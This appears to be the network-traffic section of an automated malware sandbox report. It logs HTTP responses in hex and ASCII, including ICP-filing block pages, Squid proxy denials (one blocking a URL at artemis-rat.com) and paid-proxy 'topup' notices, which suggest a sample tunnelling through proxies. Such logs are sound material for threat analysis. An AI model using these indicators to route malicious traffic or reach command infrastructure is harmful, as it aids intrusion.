<iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: BeaverCache-Control: no-cacheContent-Type: text/htmlContent-Length: 635Connection: closeData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 38 38 37 38 32 32 38 39 34 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003887822894"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: BeaverCache-Control: no-cacheContent-Type: text/htmlContent-Length: 635Connection: closeData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 38 38 37 38 32 32 38 39 34 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003887822894"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: BeaverCache-Control: no-cacheContent-Type: text/htmlContent-Length: 635Connection: closeData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 38 38 37 38 32 32 38 39 34 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003887822894"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: BeaverCache-Control: no-cacheContent-Type: text/htmlContent-Length: 635Connection: closeData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 38 38 37 38 32 32 38 39 34 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003887822894"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableServer: squid/3.5.27Mime-Version: 1.0Date: Mon, 11 Mar 2024 17:36:47 GMTContent-Type: text/html;charset=utf-8Content-Length: 3938X-Squid-Error: ERR_DNS_FAIL 0Vary: Accept-LanguageContent-Language: enData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 37 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 37 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squid/3.5.28Mime-Version: 1.0Date: Mon, 11 Mar 2024 17:36:47 GMTContent-Type: text/html;charset=utf-8Content-Length: 952X-Squid-Error: ERR_ACCESS_DENIED 0Content-Language: enX-Cache: MISS from ah_testVia: 1.1 ah_test (squid/3.5.28)Connection: closeData Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 38 20 54 68 65 20 41 65 72 6f 68 69 76 65 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 57 65 62 20 50 61 67 65 20 42 6c 6f 63 6b 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 0a 20 0a 0a 62 6f 64 79 0a 3a 6c 61 6e 67 28 66 61 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 30 30 25 3b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 54 61 68 6f 6d 61 2c 20 52 6f 79 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 66 6c 6f 61 74 3a 20 72 69 67 68 74 3b 20 7d 0a 3a 6c 61 6e 67 28 68 65 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 7d 0a 20 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 69 64 3d 22 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 22 3e 0a 3c 64 69 76 20 69 64 3d 22 74 69 74 6c 65 73 22 3e 0a 3c 68 31 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 35 62 38 63 62 64 3b 22 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 61 6e 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 68 31 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0a 3c 70 3e 41 63 63 65 73 73 20 74 6f 20 74 68 65 20 77 65 62 20 70 61 67 65 20 68 61 73 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 20 69 6e 20 61 63 63 6f 72 64 61 6e 63 65 20 77 69 74 68 20 74 68 65 20 6e 65 74 77 6f 72 6b 20 70 6f 6c 69 63 79 2e 20 49 66 20 79 6f 75 20 62 65 6c 69 65 76 65 20 74 68 69 73 20 69 73 20 61 6e 20 65 72 72 6f 72 2c 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 79 6f 75 20 73 79 73 74 65 6d 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2e 3c 2f 70 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 37 31 39 32 62 34 3b 22 3e 55 52 4c 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 2f 2a 22 3e 68 74 74 70 73 3a 2f 2f 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 2f 2a 3c 2f 61 3e 3c 2f 70 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 37 31 39 32 62 34 3b 22 3e 43 61 74 65 67 6f 72 79 3a 20 3c 2f 70 3e 0a 3c 62 72 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 66 6f 6f 74 65 72 22 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 22 3e 47 65 6e 65 72 61 74 65 64 20 4d
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Mon, 11 Mar 2024 17:36:47 GMTContent-Length: 101Content-Type: text/plain; charset=utf-8Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 0d 0a 50 6c 65 61 73 65 20 74 6f 70 75 70 3a 20 68 74 74 70 73 3a 2f 2f 61 73 6f 63 6b 73 2e 63 6f 6d 2f 61 64 64 2d 6d 6f 6e 65 79 2f 65 36 39 34 64 34 34 37 65 39 64 33 32 38 34 32 37 31 38 38 66 37 33 33 62 31 34 62 36 39 38 35 0d 0a Data Ascii: HTTP/1.1 403 ForbiddenPlease topup: https://asocks.com/add-money/e694d447e9d328427188f733b14b6985
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Mon, 11 Mar 2024 17:36:47 GMTContent-Length: 101Content-Type: text/plain; charset=utf-8Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 0d 0a 50 6c 65 61 73 65 20 74 6f 70 75 70 3a 20 68 74 74 70 73 3a 2f 2f 61 73 6f 63 6b 73 2e 63 6f 6d 2f 61 64 64 2d 6d 6f 6e 65 79 2f 65 36 39 34 64 34 34 37 65 39 64 33 32 38 34 32 37 31 38 38 66 37 33 33 62 31 34 62 36 39 38 35 0d 0a Data Ascii: HTTP/1.1 403 ForbiddenPlease topup: https://asocks.com/add-money/e694d447e9d328427188f733b14b6985
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plain; charset=utf-8X-Content-Type-Options: nosniffDate: Mon, 11 Mar 2024 17:36:47 GMTContent-Length: 19Data Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: 404 page not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: BeaverCache-Control: no-cacheContent-Type: text/htmlContent-Length: 635Connection: closeData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 38 38 37 38 32 32 38 39 34 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003887822894"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squid/5.7Mime-Version: 1.0Date: Mon, 11 Mar 2024 17:36:48 GMTContent-Type: text/html;charset=utf-8Content-Length: 3628X-Squid-Error: ERR_ACCESS_DENIED 0Vary: Accept-LanguageContent-Language: enX-Cache: MISS from lb1X-Cache-Lookup: NONE from lb1:3128Via: 1.1 lb1 (squid/5.7)Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 